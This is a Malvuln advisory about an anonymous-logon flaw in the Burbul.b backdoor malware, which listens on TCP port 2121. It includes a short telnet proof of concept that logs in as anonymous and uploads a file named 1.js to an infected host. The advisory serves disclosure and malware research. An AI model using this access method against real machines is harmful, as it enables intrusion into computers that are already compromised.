Backdoor.Win32.Burbul.b / Anonymous Logon

2021.02.16
us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/3ee4cb2e06eb1f7fe54c89db903f3e7a.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Burbul.b Vulnerability: Anonymous Logon Description: Backdoor Burbul.b listens on TCP port 2121 allowing anonymous logon credentials to access the infected host E.g. USER anonymous PASS anonymous. Type: PE32 MD5: 3ee4cb2e06eb1f7fe54c89db903f3e7a Vuln ID: MVID-2021-0093 Dropped files: Disclosure: 02/16/2021 Exploit/PoC: TELNET [Backdoored_Host] 2121 ╟Σα≡α±≥≤Θ≥σ ≤Γαµασ∞√Θ ⌡α÷Ωσ≡.. ╟αßσ≡αΘ≥σ Γ±σ ≈≥ε ±≈Φ≥ασ≥σ φ≤µφ√∞... USER anonymous 331 Password required for anonymous. PASS anonymous 230 User anonymous logged in. HELP 500 'HELP': command not understood. CWD 250 CWD command successful. "C:/TEMP/" is current directory. PASV 227 Entering Passive Mode (192,168,1,10,196,100). STOR 1.js 150 Opening data connection for 1.js. PASV 226 File received ok 227 Entering Passive Mode (192,168,88,128,196,101). Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).


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